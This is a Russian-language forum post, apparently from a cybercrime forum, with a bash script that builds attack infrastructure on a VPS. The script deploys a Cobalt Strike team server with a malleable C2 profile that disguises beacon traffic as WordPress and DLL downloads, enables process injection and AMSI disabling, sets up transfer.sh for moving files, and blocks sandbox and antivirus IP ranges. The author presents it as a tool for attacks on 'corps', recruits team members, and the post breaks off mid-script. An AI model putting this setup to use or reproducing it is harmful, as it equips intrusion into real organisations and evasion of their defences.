What's new
Runion

This is a sample guest message. Register a free account today to become a member! Once signed in, you'll be able to participate on this site by adding your own topics and posts, as well as connect with other members through your own private inbox!

Не ждали? XD Как превратить VPS в лабораторию пентеста с интерфейсом и безопасной работой внутри.

То чувство когда прочитал статью "ProxyLogon", переписал весь софт ускорив его в сто раз, но из за нехватки опыта по сеткам разбираешься теперь со всем остальным)))

Спасибо авторам за статьи.

P.S Кому скучно одному или есть место в команде, прошу в ПМ.
 
x4k сказал(а):
Посоветовавшись со своей совестью, мы в итоге решили немного "прокачать" юзеров и выкладываем наши записки нуба.. Если что - ногами не бить) У кого какие косяки - пишите - реши ;-) Поехали)))))
Bash: Скопировать в буфер обмена
Code:
#!/bin/bash

#DEFINE: _GETPLUSHKI

#После прочтения этой статьи Вы получите:
 #* рабочий скрипт создания VPS сервера для тестирования на проникноваение от A до Z
 #* воспользоваться этим скриптом сможет любой. От самого соленого "Новичка" до, казалось-бы "Профессионала" ;-) Внутри - масса интересного: теперь Вам не нужно покупать "абузоустойчивые сервера для скана и брута" - скрипт сделает такой сервер за Вас! Единственное что потребуется от Вас - купить VPS помощнее и аккаунт VPN с wireguard. Дабы избежать рекламы этих сервисов, я намеренно не указываю тут названия, но Вы всегда можете (точнее как всегда) постучаться в личку с этим вопросом)) Вы сможете спать спокойно после череды атак но "корпы" - ведь Вы будете защищены на 150%! Вы получите графическую оболочку и клиент для работы через нее! А так же куча инструментов, которыми сможете воспользоваться после окончания работы скрипта. Каких? Читаем ниже ;-) Прошу не пинать, если вдруг статься принесла убыток Вашему бизнесу: я за диалог ;-)

#DEFINE: _ABOUT

#Все пишут о "поднятии локальных привелегий", о "уязвимостях нулевого дня (ранее я уже выкладывал парочку, можете глянуть в профиле) и прочих радостях, для пользователя, который только совершает первые шаги в этом направлении, совершенно недоступных, а иногда даже отпугивающих, вводящих в заблуждение. Поэтому я решил подойти к вопросу немного с другой стороны. Начну, как говорится, с начала. А именно - создания безопасного "рабочего места" и обеспечение пользователя инструментами первой небходимости. Нечто новое тут найдут так-же и "Профессионалы" индустрии. Спросите "с чего такая уверенность?". Отвечу: не мало людей пишут в личку (мы сейчас о "Профи"). Компетентность подобных - очень за "0". Без обид ;-) Читаем, исполняем и наслаждаемся =)

 #Сразу хочу оговориться: для решения подобной задачи я выбрал и использую такую конфигурацию - 12 ядер, 64 ОЗУ, 1ТБ ссд.
 #Обошлась подобная конфа - 150 долларов в год. Т.е. по 12,5$ в месяц. Подобное предложение сможете без труда отыскать в сети
 #Везде пароли: p@ssw0rd

#DEFINE: _HOSTWEAPONISATION
 
#Ниже - скрипт обустройства хоста, который послужит нам платформой для нашей будущей экосистемы, в котором (и далее в других) я постараюсь максимально понятно, досутпно а главное с наивысшим КПД(*по моему мнению) выполнить эту, с одной стороны простую задачу. Но в любом уравнении всего существуют неизвестные, которые я постараюсь максимально раскрыть.

export DEBIAN_FRONTEND=noninteractive
export TERM=xterm-256color
USE_COLORS=true

#repo
home="$(pwd)" ; hname="$1" ; hostname "$hname" ; echo "$hname" > /etc/hostname ; echo 127.0.0.1 localhost > /etc/hosts ; echo "$(wget -qO- ipinfo.io/ip)" "$hname" >> /etc/hosts
    wget https://kali.download/kali/pool/main/k/kali-archive-keyring/kali-archive-keyring_2020.2_all.deb
    sleep 1 ; dpkg -i kali-archive-keyring_2020.2_all.deb

echo 'deb http://kali.download/kali kali-rolling main non-free contrib' > /etc/apt/sources.list
sleep 10 ; while [[ -n "$(wget -O /tmp/dummy https://repo.x4k.dev/dummy)" ]] ; do sleep 1; done
wget https://kali.download/kali/pool/main/k/kali-archive-keyring/kali-archive-keyring_2020.2_all.deb ; sleep 1 ; dpkg -i kali-archive-keyring_2020.2_all.deb

#swap
dd if=/dev/zero of=/swapfile2 bs=1G count=8 ; mkswap /swapfile2
chmod 600 /swapfile2 ; swapon /swapfile2
echo '/swapfile2  none swap sw,pri=10  0  0' >> /etc/fstab ; rm /etc/motd &>/dev/null

#upgrade
apt-get update && apt-get -y dist-upgrade -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold"
touch /root/.hushlogin

#packages
apt-get -f -y install certbot ipset curl sudo nodejs npm jq golang git unzip python certbot openjdk-11-jdk python2-dev python2 python3-pip python3-dev make htop dnsutils net-tools curl wget zip calc wireguard screen p7zip-full docker.io docker-compose inotify-tools kali-defaults kali-linux-core python-is-python2 ntp wine64 wine nano imagemagick -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold"
systemctl enable docker ; systemctl start docker
apt-get -y purge apache2

#timedate issue
systemctl restart ntp.service
cat<<'EOF'>>/etc/ntp.conf
server 0.ubuntu.pool.ntp.org
server 1.ubuntu.pool.ntp.org
server 2.ubuntu.pool.ntp.org
server 3.ubuntu.pool.ntp.org
EOF
ntpq -p ; timedatectl set-local-rtc 1 ; hwclock --systohc ; sleep 5


#pip2
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py -o get-pip.py ; python get-pip.py

#ulimit
echo 'session required  pam_limits.so' >> /etc/pam.d/common-session
cat<<'EOF'>/etc/security/limits.conf
*    soft nofile   655350
*    hard nofile   655350
root   soft nofile   655350
root   hard nofile   655350
EOF

#transfer.sh
wget -O /usr/local/bin/transfer.sh $(curl -sL https://api.github.com/repos/dutchcoders/transfer.sh/releases/latest | grep linux-amd64 | grep browser_download_url | head -1 | cut -d \" -f 4) && chmod +x /usr/local/bin/transfer.sh

cat<<'EOF'>/etc/systemd/system/transfer.service
[Unit]
Description=transferr

[Service]
ExecStart=sudo transfer.sh --listener 0.0.0.0:4466 --temp-path /tmp/ --provider local --basedir /tmp --purge-interval 1
WorkingDirectory=/tmp
Restart=always
RestartSec=10

[Install]
WantedBy=multi-user.target
EOF

#grub
cat<<'EOF'>/etc/default/grub
GRUB_DEFAULT=0
GRUB_TIMEOUT=0
GRUB_CMDLINE_LINUX_DEFAULT="elevator=noop ipv6.disable=1 net.ifnames=0 apparmor=1 security=apparmor mce=0 page_poison=1 pti=on mds=full,nosmt audit=1 components union=overlay vsyscall=none init_on_alloc=1 init_on_free=1 l1tf=full,force spectre_v2=on spec_store_bypass_disable=seccomp extra_latent_entropy quiet"
GRUB_DISTRIBUTOR=`lsb_release -i -s 2> /dev/null || echo Debian`
GRUB_CMDLINE_LINUX="initrd=/install/initrd.gz"
EOF

update-grub

#DNS-server
mkdir /tmp/dns && cd /tmp/dns ; wget -nv --show-progress "$(curl -sL https://api.github.com/repos/DNSCrypt/dnscrypt-proxy/releases/latest | grep dnscrypt-proxy-linux_x86_64- | grep browser_download_url | head -1 | cut -d \" -f 4)" && tar xf dnscrypt-proxy-linux_x86_64-* -C /tmp/ ; mv /tmp/linux-x86_64 /opt/dnscrypt-proxy ; ln -s /opt/dnscrypt-proxy/dnscrypt-proxy /bin/ ; systemctl disable systemd-resolved
cat<<'EOF'>/opt/dnscrypt-proxy/dnscrypt-proxy.toml
listen_addresses = ['127.0.0.1:53']
max_clients = 250
ipv4_servers = true
ipv6_servers = false
dnscrypt_servers = true
doh_servers = true
require_dnssec = true
require_nolog = false
require_nofilter = false
disabled_server_names = []
force_tcp = false
timeout = 5000
keepalive = 30
blocked_query_response = 'refused'
lb_strategy = 'p2'
lb_estimator = true
cert_refresh_delay = 240
fallback_resolvers = ['9.9.9.9:53', '8.8.8.8:53']
ignore_system_dns = true
netprobe_timeout = 60
netprobe_address = '9.9.9.9:53'
log_files_max_size = 10
log_files_max_age = 7
log_files_max_backups = 1
block_ipv6 = false
block_unqualified = true
block_undelegated = true
reject_ttl = 600
cache = true
cache_size = 256000
cache_min_ttl = 2400
cache_max_ttl = 86400
cache_neg_min_ttl = 60
cache_neg_max_ttl = 600

[local_doh]

[query_log]

 format = 'tsv'

[nx_log]

 format = 'tsv'

[blacklist]

[ip_blacklist]

[whitelist]

[schedules]

[sources]

 [sources.'public-resolvers']
 urls = ['https://raw.githubusercontent.com/DNSCrypt/dnscrypt-resolvers/master/v2/public-resolvers.md', 'https://download.dnscrypt.info/resolvers-list/v2/public-resolvers.md']
 cache_file = 'public-resolvers.md'
 minisign_key = 'RWQf6LRCGA9i53mlYecO4IzT51TGPpvWucNSCh1CBM0QTaLn73Y7GFO3'
 prefix = ''

 [sources.'relays']
 urls = ['https://raw.githubusercontent.com/DNSCrypt/dnscrypt-resolvers/master/v2/relays.md', 'https://download.dnscrypt.info/resolvers-list/v2/relays.md']
 cache_file = 'relays.md'
 minisign_key = 'RWQf6LRCGA9i53mlYecO4IzT51TGPpvWucNSCh1CBM0QTaLn73Y7GFO3'
 refresh_delay = 72
 prefix = ''

 [sources.quad9-resolvers]
 urls = ["https://quad9.net/dnscrypt/quad9-resolvers.md", "https://raw.githubusercontent.com/Quad9DNS/dnscrypt-settings/main/dnscrypt/quad9-resolvers.md"]
 minisign_key = "RWQBphd2+f6eiAqBsvDZEBXBGHQBJfeG6G+wJPPKxCZMoEQYpmoysKUN"
 cache_file = "quad9-resolvers.md"
 refresh_delay = 72
 prefix = "quad9-"

[broken_implementations]

fragments_blocked = ['cisco', 'cisco-ipv6', 'cisco-familyshield', 'cisco-familyshield-ipv6', 'quad9-dnscrypt-ip4-filter-alt', 'quad9-dnscrypt-ip4-filter-pri', 'quad9-dnscrypt-ip4-nofilter-alt', 'quad9-dnscrypt-ip4-nofilter-pri', 'quad9-dnscrypt-ip6-filter-alt', 'quad9-dnscrypt-ip6-filter-pri', 'quad9-dnscrypt-ip6-nofilter-alt', 'quad9-dnscrypt-ip6-nofilter-pri', 'cleanbrowsing-adult', 'cleanbrowsing-family-ipv6', 'cleanbrowsing-family', 'cleanbrowsing-security']

[doh_client_x509_auth]

[anonymized_dns]

skip_incompatible = false

[dns64]

[static]
EOF
dnscrypt-proxy -service install ; dnscrypt-proxy -service start ; cd ~
rm /etc/resolv.conf ; echo nameserver 127.0.0.1 > /etc/resolv.conf ; chattr +i /etc/resolv.conf

#cobaltstrike
wget -O /tmp/cs.zip ; mkdir /opt/cobaltstrike ; unzip -P .is /tmp/cs.zip -d /opt/cobaltstrike ; rm -r /opt/cobaltstrike/custom ; sleep 1

cat<<'EOF'>/usr/local/bin/gencert
#!/bin/bash

runuser=$(whoami)
tempdir=$(pwd)
domain="$(hostname)"
password="p@ssw0rd"
domainStore="cobaltstrike.store"
domainPkcs="$domain.pkcs12"

func_install_letsencrypt(){
 echo '[Starting] to build letsencrypt cert!'
 certbot certonly --standalone -d $domain -n --register-unsafely-without-email --agree-tos
 if [ -e /etc/letsencrypt/live/$domain/fullchain.pem ]; then
 echo '[Success] letsencrypt certs are built!'
 else
 echo "[ERROR] letsencrypt certs failed to build. Check that DNS A record is properly configured for this domain"
 exit 1
 fi
}

func_build_pkcs(){
 cd /etc/letsencrypt/live/$domain
 echo '[Starting] Building PKCS12 .p12 cert.'
 openssl pkcs12 -export -in fullchain.pem -inkey privkey.pem -out $domainPkcs -name $domain -passout pass:$password
 echo '[Success] Built $domainPkcs PKCS12 cert.'
 echo '[Starting] Building Java keystore via keytool.'
 printf "yes" | keytool -importkeystore -deststorepass $password -destkeypass $password -destkeystore $domainStore -srckeystore $domainPkcs -srcstoretype PKCS12 -srcstorepass $password -alias $domain
 echo '[Success] Java keystore $domainStore built.'
 cp $domainStore $tempdir
 echo '[Success] Moved Java keystore to current working directory.'
}

main() {
 func_install_letsencrypt
 func_build_pkcs
}
main
EOF
chmod +x /usr/local/bin/gencert ; (crontab -l | grep . ; echo -e "0 0 1,15 * * sudo /usr/local/bin/gencert") | crontab -
cd /opt/cobaltstrike ; rm cobaltstrike.store ; gencert

cat<<'EOF'>url.profile
###Global Options###
set sample_name "url.profile";

set sleeptime "37500";
set jitter "26";
set useragent "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36";

set host_stage "true";

###DNS options###
dns-beacon {
 # Options moved into 'dns-beacon' group in 4.3:
 set dns_idle    "8.8.8.8";
 set dns_max_txt   "220";
 set dns_sleep   "0";
 set dns_ttl    "1";
 set maxdns    "255";
 set dns_stager_prepend ".wwwds.";
 set dns_stager_subhost ".e2867.dsca.";
 
 # DNS subhost override options added in 4.3:
 set beacon    "d-bx.";
 set get_A    "d-1ax.";
 set get_AAAA    "d-4ax.";
 set get_TXT    "d-1tx.";
 set put_metadata   "d-1mx";
 set put_output   "d-1ox.";
 set ns_response   "zero";
}

###SMB options###
set pipename "ntsvcs";
set pipename_stager "scerpc";

###TCP options###
set tcp_port "8000";

###SSL Options###
https-certificate {
 set keystore "cobaltstrike.store";
 set password "p@ssw0rd";
}

###HTTP-GET Block###
http-get {
 set uri "/wp-content/themes/calliope/wp_data.php";
 client {
  header "Accept" "*/*";
  header "Host" "wmwifbajxxbcxmucxmlc.com";
  header "Connection" "Keep-Alive";
 metadata {
  base64url;
  prepend "SESSIONID=";
  header "Cookie";
 }
 }
 server {
  header "Server" "nginx";
  header "Content-Type" "application/x-msdos-program";
  header "Connection" "close";
  header "Last-Modified" "Fri, 24 Apr 2020 23:06:05 GMT";
  header "ETag" "\"76200-5a41168e83140\"";
  header "Accept-Ranges" "bytes";
  output {
   netbios;
  prepend "MZ......................@............................................. .!..L.!This program cannot be run in DOS mode.
$.......PE..L...$..^...........!................9+....................................................@..................................$..P.......X...............................8...............................@............................................text............................... ..`.rdata..6N.......P..................@..@.data...`....0...$..................@....rsrc...X............@..............@..@.reloc...............H..............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................h.........Y.....h.........Y.....h.........Y......D$..V........t V..........^.....D$..T$....H.......T$.....t$.R.P..T$..H.;J.u...;.u.........2.....................D$.;H.u
..;D$.u......2...........4.............QV.t$..D$...........t$........4...E..F......F.........:.u.3.QR.........^Y.....W.y...A..u.+._QR.........^Y.........4.............Q.D$...$....V.t$....u&j..F........F.....h.4......K.....^Y...PV.=.....^Y...........5.............QV.t$..D$......P....t$........4...E..F......F.........:.u.3.QR.........^Y.....W.y...A..u.+._QR.........^Y.......V.t$.V...........D$..0t..@.tR..^....@.pR..^..........
'R.......S...C..V.5 C..+....L$...C...
,R.........+R.....f.D$..P...W.=";
  append "p....D$...C.....C...D$$6....L$..........;.r.(.\"R.....+........@+....C....+.+.........5 C....!...u....C..k..+...U....+....f9T$.w............$R....E.......C..k
.C.....v+..C...D$...C...D$..8....D$.+...C.......:.........&R....
\"R..........u...C....E......C.........*
.C......L$..
,R....@+
.C...
.C....
0R..It6..*t(......t............C.....D$.....:..C... .\\$............u...]......@..C..+\\$....L$.*.....L$..
,R....@+......C...|$ Z...u...
(R....+.......5 C...L$...T.
..|$ Z....9u...
(R....+.......5 C...D$....@+L$..L$$....L$........=p..._^[...............S.$.U.l$.VW.{...;.......+.9|$..B|$.;.u.../9F........~...F.r...U......j......_..^][.............F.;.s..v.W.A.....tj.{..r....~..r*...(..u..~....r..._.....^][..._..^][..........t.W..+PQ.........~...~.r.....8..._^][.......8._..^][...hd........hd........hT....j...............S.\\$.V....tW.N....r.......;.rE...r........F...;.v1...r..t$.....+.SV.....^[....t$.....+.SV.....^[...W.|$....wz.F.;.s..v...W.!.....t\\.~..r(...&..u..~....r
.._.....^[....._^[..........t.WSP.........~...~.r.....8..._^[.......8._..^[...hT....m..................V...L$.W.~.;.r{.T$...+.;.w!.~...N.r
.._......^....._^.........tC.~..r.......+.S.....+.t.P...PS.........~...~.[r
....8..._^.......8._..^...hd....................U..j.h@...d.....P...SVW..0..3.P.E.d......e....u..E.........v....'.^..............;.v.......<.+.;.v.......O..E.....3..E...tF...w.Q.........E...u1......E..M..E.@.e.P.E........E..%.....}..E..u..E..]...tH.~..r1.../.u..~..r
.6........j..F......F.....j.............t.SQP.........~..r
.6.........E.......~..^....r........M.d.
....Y_^[..].......D$.3...t....w.P.,..........t............U...=..........t..M.9.t
....x..u.3.]..@.].U...=,.....(...t..M.9.t
....x..u.3.]..@.].U..V.u...............^]...U..V.u....A...........^]...U..V.u....&...........^]...U..V.u..........(.....^]...................U..V..............E..t.V.I...Y..^]...U..V........E..t.V.*...Y..^]...U.....j..E..E.....P.M..t...h.....E..E.....P.>....U......E..M..E..E.P.!...h.....E..E.....P......U......E..M..E..E.P.....h.....E..E.(...P......;";
   print;
  }
 }
}

#HTTP-GET VARIANT
http-get "variant_april24dll" {
 set uri "/files/april24.dll";
 client {
  header "Accept" "*/*";
  header "Host" "wmwifbajxxbcxmucxmlc.com";
  header "Connection" "Keep-Alive";
 metadata {
  base64url;
  prepend "SESSIONID=";
  header "Cookie";
 }
 }
 server {
  header "Server" "nginx";
  header "Content-Type" "application/x-msdos-program";
  header "Connection" "close";
  header "Last-Modified" "Fri, 24 Apr 2020 23:06:05 GMT";
  header "ETag" "\"76200-5a41168e83140\"";
  header "Accept-Ranges" "bytes";
  output {
   netbios;
  prepend "MZ......................@............................................. .!..L.!This program cannot be run in DOS mode.
$.......PE..L...$..^...........!................9+....................................................@..................................$..P.......X...............................8...............................@............................................text............................... ..`.rdata..6N.......P..................@..@.data...`....0...$..................@....rsrc...X............@..............@..@.reloc...............H..............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................h.........Y.....h.........Y.....h.........Y......D$..V........t V..........^.....D$..T$....H.......T$.....t$.R.P..T$..H.;J.u...;.u.........2.....................D$.;H.u
..;D$.u......2...........4.............QV.t$..D$...........t$........4...E..F......F.........:.u.3.QR.........^Y.....W.y...A..u.+._QR.........^Y.........4.............Q.D$...$....V.t$....u&j..F........F.....h.4......K.....^Y...PV.=.....^Y...........5.............QV.t$..D$......P....t$........4...E..F......F.........:.u.3.QR.........^Y.....W.y...A..u.+._QR.........^Y.......V.t$.V...........D$..0t..@.tR..^....@.pR..^..........
'R.......S...C..V.5 C..+....L$...C...
,R.........+R.....f.D$..P...W.=";
  append "p....D$...C.....C...D$$6....L$..........;.r.(.\"R.....+........@+....C....+.+.........5 C....!...u....C..k..+...U....+....f9T$.w............$R....E.......C..k
.C.....v+..C...D$...C...D$..8....D$.+...C.......:.........&R....
\"R..........u...C....E......C.........*
.C......L$..
,R....@+
.C...
.C....
0R..It6..*t(......t............C.....D$.....:..C... .\\$............u...]......@..C..+\\$....L$.*.....L$..
,R....@+......C...|$ Z...u...
(R....+.......5 C...L$...T.
..|$ Z....9u...
(R....+.......5 C...D$....@+L$..L$$....L$........=p..._^[...............S.$.U.l$.VW.{...;.......+.9|$..B|$.;.u.../9F........~...F.r...U......j......_..^][.............F.;.s..v.W.A.....tj.{..r....~..r*...(..u..~....r..._.....^][..._..^][..........t.W..+PQ.........~...~.r.....8..._^][.......8._..^][...hd........hd........hT....j...............S.\\$.V....tW.N....r.......;.rE...r........F...;.v1...r..t$.....+.SV.....^[....t$.....+.SV.....^[...W.|$....wz.F.;.s..v...W.!.....t\\.~..r(...&..u..~....r
.._.....^[....._^[..........t.WSP.........~...~.r.....8..._^[.......8._..^[...hT....m..................V...L$.W.~.;.r{.T$...+.;.w!.~...N.r
.._......^....._^.........tC.~..r.......+.S.....+.t.P...PS.........~...~.[r
....8..._^.......8._..^...hd....................U..j.h@...d.....P...SVW..0..3.P.E.d......e....u..E.........v....'.^..............;.v.......<.+.;.v.......O..E.....3..E...tF...w.Q.........E...u1......E..M..E.@.e.P.E........E..%.....}..E..u..E..]...tH.~..r1.../.u..~..r
.6........j..F......F.....j.............t.SQP.........~..r
.6.........E.......~..^....r........M.d.
....Y_^[..].......D$.3...t....w.P.,..........t............U...=..........t..M.9.t
....x..u.3.]..@.].U...=,.....(...t..M.9.t
....x..u.3.]..@.].U..V.u...............^]...U..V.u....A...........^]...U..V.u....&...........^]...U..V.u..........(.....^]...................U..V..............E..t.V.I...Y..^]...U..V........E..t.V.*...Y..^]...U.....j..E..E.....P.M..t...h.....E..E.....P.>....U......E..M..E..E.P.!...h.....E..E.....P......U......E..M..E..E.P.....h.....E..E.(...P......;";
   print;
  }
 }
}

###HTTP-Post Block###

http-post {
 set uri "/post.php";
 set verb "POST";
 client {
 header "Accept" "*/*";
  header "Cache-Control" "no-cache";
  header "Host" "wmwifbajxxbcxmucxmlc.com";
  header "Connection" "close";
  output {
   base64url;
  parameter "FE8hVs3";
  }
  id {
  base64url;
  parameter "id";
  }
 }
 server {
  header "Server" "nginx";
  header "Content-Type" "text/html; charset=UTF-8";
  header "Connection" "close";
  output {
   netbios;
   prepend "..\"N ......0.9..5......Tb....\"shb.fL.....t....u.......s...D.{...Qv&5..v9mO...A.mY..@..xPWM..Z$..y.q,P....Nn~..O .[..Lo..{.Z.....yKd.B..o.M>..J...~n.D0..Bm.:.Tx... .@.3..!.%...BC.\\I.7C..U..X..D.4....h........'m......gXaQ..<.....X..]...%5.Fx.LO..D._I~.@$.R[..p...<";
   append ">2...........{..\"..~=....._...Nu...s.mm.....u..lV..r......g2)r.w.'G2.*Y.i.,.9...o...t..zhX.h....K=........AS";
   print;
  }
 }
}

###HTTP-Stager Block###
http-stager {
 set uri_x86 "/wp-content/themes/wp-front.php";
 set uri_x64 "/wp-content/themes/wp_data.php";
 client {
  header "Host" "wmwifbajxxbcxmucxmlc.com";
  header "Connection" "Keep-Alive";
 }
 server {
  header "Server" "nginx";
  header "Content-Type" "text/html; charset=UTF-8";
  header "Connection" "close";
 output {
  print;
 }
 }
}


###Malleable PE/Stage Block###

#filled this out best I could.
stage {
 set checksum  "0";
 set compile_time "16 Apr 2020 17:56:00";
 set entry_point  "170000";
 set image_size_x86 "740000";
 set image_size_x64 "740000";
 set name   "WWanMM.dll";
 set userwx    "false";
 set cleanup   "false";
 set sleep_mask "false";
 set stomppe   "false";
 set obfuscate "false";
 set rich_header  "";
 set sleep_mask "false";

 set module_x86 "wwanmm.dll";
 set module_x64 "wwanmm.dll";

 transform-x86 {
  prepend "\x90\x90\x90";
  strrep "ReflectiveLoader" "";
  strrep "beacon.dll" "";
  }

 transform-x64 {
  prepend "\x90\x90\x90";
  strrep "ReflectiveLoader" "";
  strrep "beacon.x64.dll" "";
  }

 string "{EE 03 00 00 E9 03 00 00 EE 03 00 00 EF 03 00 00 F0 03 00 00 EE 03 00 00 EE 03 00 00 EA 03 00 00 EC 03 00 00 EB 03 00 00 ED 03 00 00}";
 string "{55 89 e5 53 57 56 8b ?? ?? 85 f6 74 ?? 8b ?? ?? 6a 00 53 e8 ?? ?? ?? ?? 83 c4 08 a8 01 75 ?? 8b ?? ?? ?? ?? ?? 89 f9 e8 ?? ?? ?? ?? 89 c1 0f ?? ?? 66 ?? ?? 66 ?? ?? 74 ?? bb 01 00 00 00 eb ?? 89 d8 99 f7 f9 0f ?? ?? ?? 8b ?? ?? 66 ?? ?? ?? 66 ?? ?? ?? 8d ?? ?? 74 ?? 8d ?? ?? 66 83 fa 5f 72 ?? 66 83 f8 0d 77 ?? ba 00 26 00 00 0f a3 c2 72 ?? eb ?? 31 f6 eb ?? 89 de eb ?? 8b ?? ?? 89 f0 5e 5f 5b 5d c3}";
}

###Process Inject Block###
process-inject {

 set allocator "NtMapViewOfSection";
 set min_alloc "16700";
 set userwx "false";
 set startrwx "false";
 transform-x86 {
  prepend "\x90\x90\x90";
 }
 transform-x64 {
  prepend "\x90\x90\x90";
 }
 execute {
  CreateThread;
  CreateRemoteThread;
  CreateThread "ntdll.dll!RtlUserThreadStart+0x1000";
  SetThreadContext;
  NtQueueApcThread-s;
  CreateRemoteThread "kernel32.dll!LoadLibraryA+0x1000";
  RtlCreateUserThread;
 }
}

###Post-Ex Block###
post-ex {
 set spawnto_x86 "%windir%\\syswow64\\svchost.exe";
 set spawnto_x64 "%windir%\\sysnative\\svchost.exe";
 set obfuscate "true";
 set smartinject "true";
 set amsi_disable "true";
}
EOF

cat<<'EOF'>/usr/local/bin/ts
#!/bin/bash
cd /opt/cobaltstrike ; hname="$(hostname)" ;
java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=41447 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=p@ssw0rd -server -XX:+AggressiveHeap -XX:+UseParallelGC -classpath ./cobaltstrike.jar server.TeamServer "$(dig $hname +short A)" p@ssw0rd url.profile "$(date --date='1 year' -u +'%Y-%m-%d')"
EOF
chmod +x /usr/local/bin/ts

cat<<'EOF'>/etc/systemd/system/teamserver.service
[Unit]
Description=teamserver

[Service]
ExecStart=sudo /usr/local/bin/ts
WorkingDirectory=/opt/cobaltstrike
Restart=always
RestartSec=10

[Install]
WantedBy=multi-user.target
EOF
systemctl enable teamserver ; systemctl start teamserver

#frp - expose noVNC port
wget -O /tmp/f.tar https://github.com/fatedier/frp/releases/download/v0.36.2/frp_0.36.2_linux_amd64.tar.gz && tar xf /tmp/f.tar -C /tmp/ && mv /tmp/frp*/frps /usr/bin/

cat<<'EOF'>/usr/local/bin/frps.ini
[common]
bind_port = 7000
EOF

cat<<'EOF'>/etc/systemd/system/frps.service
[Unit]
Description=Frp Server Service
After=network.target
[Service]
Type=simple
User=nobody
Restart=on-failure
RestartSec=5s
ExecStart=/usr/bin/frps -c /usr/local/bin/frps.ini
[Install]
WantedBy=multi-user.target
EOF
systemctl enable frps ; systemctl start frps

#sudoers
cat<<'EOF'> /etc/sudoers
Defaults  env_reset
Defaults  mail_badpass
Defaults  secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
root ALL=(ALL) NOPASSWD: ALL
gvm  ALL=(ALL) NOPASSWD: ALL
%sudo ALL=(ALL) NOPASSWD: ALL
@includedir /etc/sudoers.d
EOF

#GVM
useradd gvm ; usermod -aG docker gvm ; usermod -aG sudo gvm ; mkdir /opt/gvm-data ; chown -hR gvm:gvm /opt/gvm-data
docker run --detach --publish 8080:9392 --publish 5432:5432 --publish 2222:22 --env DB_PASSWORD="postgres DB password" --env PASSWORD="webUI password" --volume gvm-data:/data --name gvm securecompliance/gvm ; chown -hR gvm:gvm /opt/gvm-data
echo "sed -i '1 achown -hR gvm:gvm /data' /start.sh" > /tmp/gvmcmd
echo 'useradd gvm ; usermod -aG sudo gvm' >> /tmp/gvmcmd ; echo 'chown -hR gvm:gvm /usr/local/var/lib/gvm' >> /tmp/gvmcmd
echo 'chown -hR gvm:gvm /data' >> /tmp/gvmcmd ; chmod +x /tmp/gvmcmd ; docker cp /tmp/gvmcmd gvm:/chowngvmdata ; docker exec -ti gvm ./chowngvmdata

#PATROWL
sleep 20 ; cd /opt ; git clone https://github.com/Patrowl/PatrowlHears ; cd /opt/PatrowlHears ; docker-compose up -d
docker-compose exec patrowlhears bash -c 'cd backend_app && ./load_init_data.sh'
docker-compose exec patrowlhears bash -c 'cd backend_app && ./import_data_updates.sh'
(crontab -l | grep . ; echo -e "* * */1 * * cd /opt/PatrowlHears && docker-compose exec patrowlhears bash -c 'cd backend_app && ./import_data_updates.sh'") | crontab -

#badboyz
cat<<'EOF'>/usr/local/bin/goodboyz
#!/bin/bash
ipset -q flush goodboyz ; ipset -q create goodboyz nethash
for ip in $(curl -s https://gist.githubusercontent.com/curi0usJack/971385e8334e189d93a6cb4671238b10/raw | \
grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\/(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"); \
do ipset add goodboyz $ip ; done
iptables -A INPUT -m set --match-set goodboyz src -j DROP
iptables -A FORWARD -m set --match-set goodboyz src -j DROP
EOF
chmod +x /usr/local/bin/goodboyz ; goodboyz

#В итоге мы получим необходимую базу, в которую вошли:
#----------------
#*cobalt-strike* сервер + malleable profile, который позволит Вам генерировать более устойчивый и "чистый" шеллкод
#*transfer.sh* - на :4466 порту - наверное самую необходимую в нашем нелегком деле штуку - очень быструю и понятную передачу файлов, как посредством curl `curl --upload-file /path/to/your/file https://your.domen:4466/any`, так и посредством веб-интерфейса https://your.domen:4466
#*VPS* - В числе улучшений - dnscrypt-proxy, выбранный по-умолчанию. т.к. в защите нуждаются не только TCP но и UDP трафик исходящий и поступающий на сервер, корректировка разных системных параметров, например поднятие числа -ulimit -n, создали SWAP и пр.
#*https-сертификат*, который нам понадобится для решения абсолютно разных задач. Он так же необходим cobalt-серверу, HTTPS-биконы с "правильным" сертификатом то-самое)
#*в sshd" были внесены две строчки, которые запрещают подключение по-паролю (КАК?? Вам никто не говорил их создавать и первыми делом
#*goodboyz* - спарсит один известный гист, в котором неравнодушные граждане делятся адресами и регексом ботов, песочниц, антивирусов и других нехороших редисок в правила iptables и ipset, с помощью которых мы прост заблокируем доступ 50-60% нашим основным непрятностям
#*в grub* - так же были внесены изменения, направленные на улучшение быстродействия и повышения уровня безопасноти ВПС
#---------------
 #Помимо CobaltStrike сервера, так же в докер-контейнерах были подняты:
 #GVM - народный любимец и безусловный лидер в сегменте сетевых сканеров, так же известный как OpenVas
 #Ну и наконец был поднят контейнер с PatrowlHears, который является аналогом exploitdb, только, по моему мнение более удобным и "объемным"

#DEFINE: _DOCKERSCRIPT

#Пришло время познакомится поближе с докером и создать образ, который будет являться ключевым в нашей сегодняшней работе..

cat > /tmp/start.sh << 'DOCKERSTART'
#!/bin/bash

export DEBIAN_FRONTEND=noninteractive
apt-get -y update && apt-get -y dist-upgrade
apt-get -y install kali-desktop-xfce sudo curl perl python-is-python2 python3 nodejs python3-pip python3-dev python2 bash wget git fontconfig mingw-w64 zsh fzf tigervnc-standalone-server dnsutils net-tools wget nano openjdk-11-jdk proxychains crackmapexec xfce4-terminal wine wine64 spiderfoot
apt-get -y purge resolvconf ; update-alternatives --set x-terminal-emulator /usr/bin/xfce4-terminal.wrapper


